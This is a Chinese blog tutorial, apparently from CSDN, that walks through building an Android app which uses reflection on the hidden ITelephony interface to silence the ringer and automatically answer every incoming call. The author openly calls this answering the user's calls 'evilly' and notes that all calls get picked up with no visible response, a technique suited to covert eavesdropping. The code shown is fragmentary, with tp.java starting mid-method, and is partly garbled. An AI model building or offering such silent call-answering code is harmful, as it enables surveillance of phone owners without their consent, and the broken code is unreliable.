首先 建一个工程
insertTel
建一个com.android.internal.telephony的包
把系统的源码里的ITelephony.aidl拷贝进来
如下
ITelephony.aidl
int getCallState();
int getDataActivity();
int getDataState();
/**
* Returns the current active phone type as integer.
* Returns TelephonyManager.PHONE_TYPE_CDMA if RILConstants.CDMA_PHONE
* and TelephonyManager.PHONE_TYPE_GSM if RILConstants.GSM_PHONE
*/
int getActivePhoneType();
/**
* Returns the CDMA ERI icon index to display
*/
int getCdmaEriIconIndex();
/**
* Returns the CDMA ERI icon mode,
* 0 - ON
* 1 - FLASHING
*/
int getCdmaEriIconMode();
/**
* Returns the CDMA ERI text,
*/
String getCdmaEriText();
/**
* Returns true if CDMA provisioning needs to run.
*/
boolean getCdmaNeedsProvisioning();
/**
* Returns the unread count of voicemails
*/
int getVoiceMessageCount();
/**
* Returns the network type
*/
int getNetworkType();
/**
* Return true if an ICC card is present
*/
boolean hasIccCard();
}
然后建一个包
zy.phone
下面做反射调用
PhoneUtils.java
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import android.telephony.TelephonyManager;
import android.util.Log;
public class PhoneUtils {
/**
* 从TelephonyManager中实例化ITelephony,并返回
*/
static public com.android.internal.telephony.ITelephony getITelephony(TelephonyManager telMgr) throws Exception {
Method getITelephonyMethod = telMgr.getClass().getDeclaredMethod("getITelephony");
getITelephonyMethod.setAccessible(true);//私有化函数也能使用
return (com.android.internal.telephony.ITelephony)getITelephonyMethod.invoke(telMgr);
}
static public void printAllInform(Class clsShow) {
try {
// 取得所有方法
Method[] hideMethod = clsShow.getDeclaredMethods();
int i = 0;
for (; i < hideMethod.length; i++) {
Log.e("method name", hideMethod[i].getName());
}
// 取得所有常量
Field[] allFields = clsShow.getFields();
for (i = 0; i < allFields.length; i++) {
Log.e("Field name", allFields[i].getName());
}
} catch (SecurityException e) {
// throw new RuntimeException(e.getMessage());
e.printStackTrace();
} catch (IllegalArgumentException e) {
// throw new RuntimeException(e.getMessage());
e.printStackTrace();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
然后用一个BroadcastReceiver监听电话
邪恶地用接电话接用户电话
tp.java
PhoneUtils.getITelephony(tm).silenceRinger();// 静铃
PhoneUtils.getITelephony(tm).answerRingingCall();// 自动接听
Timer timer = new Timer();
timer.schedule(task, 300);
} catch (RemoteException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}// 挂断
break;// 响铃
case TelephonyManager.CALL_STATE_OFFHOOK: // 来电接通 去电拨出
break;// 摘机
case TelephonyManager.CALL_STATE_IDLE: // 来去电电话挂断
break;// 挂机
}
}
}
这样就对所有电话都接了
然后主包就是一个什么都没有的测试Activity
包zy.test
test.java
最后记得再AndroidManifest.xml里加上BroadcastReceiver和权限声明
</application>
<uses-sdk android:minSdkVersion="3" />
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.MODIFY_PHONE_STATE" />
</manifest>
OK 大功告成
试试现在电话都将被接听,没有反应
声明:本文用于技术交流和学习,用本文代码从事其他非法活动后果自负
本文版权归CSDN博主曾阳所有 转载请注明
http://blog.csdn.net/Zengyangtech/archive/2011/02/21/6198355.aspx